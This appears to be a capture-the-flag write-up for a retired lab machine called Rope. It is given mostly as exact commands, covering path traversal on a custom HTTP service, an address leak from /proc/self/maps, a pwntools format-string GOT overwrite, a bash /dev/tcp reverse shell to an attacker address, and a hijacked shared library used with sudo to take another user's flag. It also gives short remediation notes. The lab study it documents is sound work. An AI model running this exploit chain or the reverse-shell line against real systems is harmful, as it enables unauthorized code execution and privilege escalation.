Rope
Summary
Rope ($TARGET) was partially compromised by chaining two flaws in a custom 32-bit HTTP service on port 9999. A path-traversal flaw enabled unauthenticated reads of any server-accessible file; a raw-socket read of /proc/self/maps leaked binary and libc load addresses, defeating ASLR. A format-string bug in the access logger at printf offset 53 provided an arbitrary-write primitive; combined with the leaked addresses, a GOT overwrite redirected a libc call to system() and gave remote code execution as john.
From john, a world-writable shared library loaded by a passwordless-sudo log viewer was replaced with a malicious build that adopted r4j's identity and copied the user flag. Root escalation via a localhost stack-overflow service on port 1337 was identified but not completed.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -p- --min-rate 5000 -T4 --open $TARGETnmap -Pn -sV -p 22,9999 $TARGETExact commands 3
curl -sS --path-as-is "http://$TARGET:9999/../../../../etc/passwd"curl -sS --path-as-is "http://$TARGET:9999/../../../../proc/self/cmdline" | stringscurl -sS --path-as-is -o /tmp/rope_server "http://$TARGET:9999/../../../../<server-binary-path>"FixSanitise URL paths in the custom HTTP server to prevent directory traversalCritical
Exact commands 1
python3 -c "import socket; s=socket.create_connection(('$TARGET',9999),5); s.sendall(b'GET /../../../../proc/self/maps HTTP/1.1\r\nHost: $TARGET\r\nConnection: close\r\n\r\n'); print(s.recv(65536).decode(errors='replace'))"Exact commands 2
for i in $(seq 1 60); do curl -sS --path-as-is "http://$TARGET:9999/AAAA-%${i}\$p" 2>/dev/null | grep -o '0x[0-9a-f]*'; donecurl -sS --path-as-is "http://$TARGET:9999/AAAA-%53$p"FixFix the format-string vulnerability in the HTTP access loggerCritical
Exact commands 3
python3 -c "from pwn import *; context.clear(arch='i386'); print(repr(fmtstr_payload(53,{0x565e5048:0xf7de9d10},write_size='byte')))"python3 -c "
from pwn import *
import urllib.parse
context.clear(arch='i386')
p = fmtstr_payload(53,{0x565e5048:0xf7de9d10},write_size='byte')
path = urllib.parse.quote('id>/tmp/fmt-id ' + p.decode('latin-1'))
print(path)
" | xargs -I{} curl -sS --path-as-is "http://$TARGET:9999/{}"timeout 6 curl -sS --path-as-is "http://$TARGET:9999/../../../../tmp/fmt-id"Exact commands 3
nc -lvnp 4444python3 -c "
from pwn import *
import urllib.parse
context.clear(arch='i386')
cmd = \"bash -c 'bash -i >&/dev/tcp/$ATTACKER_IP/4444 <&1'\"
p = fmtstr_payload(53,{0x565e5048:0xf7de9d10},write_size='byte')
path = urllib.parse.quote(cmd + ' ' + p.decode('latin-1'))
print(path)
" | xargs -I{} curl -sS --path-as-is "http://$TARGET:9999/{}"sudo -lExact commands 6
ldd /usr/bin/readlogsls -la /lib/x86_64-linux-gnu/liblog.socp /lib/x86_64-linux-gnu/liblog.so /tmp/liblog.so.origprintf '%s\n' '#define _GNU_SOURCE' '#include <unistd.h>' '#include <stdlib.h>' 'void printlog(void){' 'uid_t u=geteuid(); gid_t g=getegid();' 'setresgid(g,g,g); setresuid(u,u,u);' 'system("cp /home/r4j/user.txt /tmp/userflag; chmod 644 /tmp/userflag");' '}' > /tmp/evil.c && gcc -shared -fPIC -o /tmp/liblog.so /tmp/evil.ccp /tmp/liblog.so /lib/x86_64-linux-gnu/liblog.so && sudo /usr/bin/readlogs; cp /tmp/liblog.so.orig /lib/x86_64-linux-gnu/liblog.socat /tmp/userflagFixRemove world-writable permissions from the shared library loaded by the privileged sudo binaryCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 9999/tcp | unknown recon-sweep-discovered |